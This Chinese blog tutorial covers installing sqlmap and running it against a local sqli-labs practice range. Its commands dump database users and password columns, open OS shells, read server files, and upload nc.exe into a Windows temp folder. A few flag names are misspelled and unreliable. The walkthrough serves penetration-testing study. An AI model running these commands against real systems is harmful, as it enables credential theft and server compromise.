SQLMAP安装及详解

SQLMAP详解

​ sqlmap是一个自动化的sql注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库有MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB。
sqlmap支持五种不同的注入模式:

  • 1 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;

  • 2 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;

  • 3 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;

  • 4 联合查询注入,可以使用union的情况下的注入;

  • 5 堆查询注入,可以同时执行多条语句的执行时的注入

    安装SQLMAP

sqlmap的安装需要python环境:https://www.python.org/

  1. 在python官方网站下载python版本(个人推荐python3.6/python3.7,因为相对而言其更加稳定)

注意:系统软件个人建议安装在c盘,毕竟以后配置环境相对而言方便一些。例如python默认的安装路径一般为:C:\Users\**\AppData\Local\Programs\Python\Python39

  1. 右键此电脑>>>选择属性>>点击高级系统设置>>点击环境变量>>选择系统变量的path>>点击path选择新建>>将第一步的python安装路径添加到其中。到此处python的环境就算搭建好了。

  2. 以上步骤读者可以参照下图所示

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. sqlmap下载及其安装:https://github.com/sqlmaproject/sqlmap

在这里插入图片描述

2.将sqlmap解压到python的安装目录下,并且把sqlmap目录添加到环境变量中操作如上配置python环境相似这里就不再赘述了。

环境配置验证:

打开cmd,输入python显示python相关的版本信息说明python环境配置完成。如下图所示:

在这里插入图片描述

输入sqlmap.py 如下图这说明配置成功:

在这里插入图片描述

注意本文的sqlmap案例皆为基于sqllab sql注入靶场实现。具体sqllab靶场的搭建请查看博主的其他相关文章。

sqlmap 入门

1.判断是否存在注入
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1
sqlmap.py -u “http://127.0.0.1/sql/Less-1/?id=1&uid=2” #参数大于1时加双引号

2.判断文本中的请求是否存在注入
sqlmap.py -r test.txt #-r一般在存在cookie注入时使用

3.查询当前用户下的所有数据库
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --dbs

4.获取数据库下的表名
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security --tables

5.获取表中的字段名
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users --columns

6.获取字段的内容
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 -D security -T users -C username,password --dump

7.获取数据库的所有用户
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --users

8.获取数据库用户的密码
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --password

9.获取当前网站数据库的名称
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-db

10.获取当前网站数据库的用户名称
sqlmap.py -u http://127.0.0.1/sql/Less-1/?id=1 --current-user

sqlmap 进阶参数

1.--level=5:探测等级,1-5,默认为1,等级越高,payload越多,速度越慢。HTTP cookei在level为2时就会测试,HTTP User-Agent/Referer在level为3时就会测试。

2.--id-dba:当前用户是否为管理权限

3.--roles:列出数据库管理员角色,仅适用于当前数据库是Oracle的时候

4.--referer=https://www.baid.com :sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入

5.--sql-shell:运行自定义sql语句

6.--os-cmd,--os-shell:运行任意操作系统命令

7.--file-read "C:/example.exe":从数据库服务器中读取文件

8.sqlmap.py -u URL –file-write ”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” 上传文件到数据库服务器中

注:文章内容是基于徐焱,李文轩,王东亚老师们编著的《web 安全攻防渗透测试实战指南》一书的内容经过提取,和添加笔者自己的理解而来。如果想在升入的了解相关的内容笔者建议还是购买纸质书籍效果更佳,谢谢

  • 3
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
sqlmap是一款用于自动化SQL注入的工具。下面是对引用内容的解释: 引用\[1\]中的代码是使用sqlmap进行数据库表名的获取。其中,-u参数指定了目标URL,--level参数指定了注入的深度,--smart参数启用了智能检测,--dbms参数指定了数据库管理系统为MySQL,-D参数指定了要操作的数据库名。 引用\[2\]中的代码是使用sqlmap执行SQL查询。其中,-u参数指定了目标URL,--sql-query参数指定了要执行的SQL查询语句,-v参数指定了详细程度为1。 引用\[3\]中的代码是使用sqlmap进行数据库名的获取,并将结果保存到日志文件中。其中,-u参数指定了目标URL,--level参数指定了注入的深度,--smart参数启用了智能检测,--dbms参数指定了数据库管理系统为MySQL,--dbs参数指定了要获取数据库名,-o参数指定了保存日志的文件名,--resume参数用于恢复已保存的进度。 综上所述,sqlmap是一款功能强大的工具,可以用于自动化地进行SQL注入攻击,并提供了丰富的参数和选项来满足不同的需求。 #### 引用[.reference_title] - *1* *2* *3* [sqlmap命令详解(最全版本)](https://blog.csdn.net/lkbzhj/article/details/126569453)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值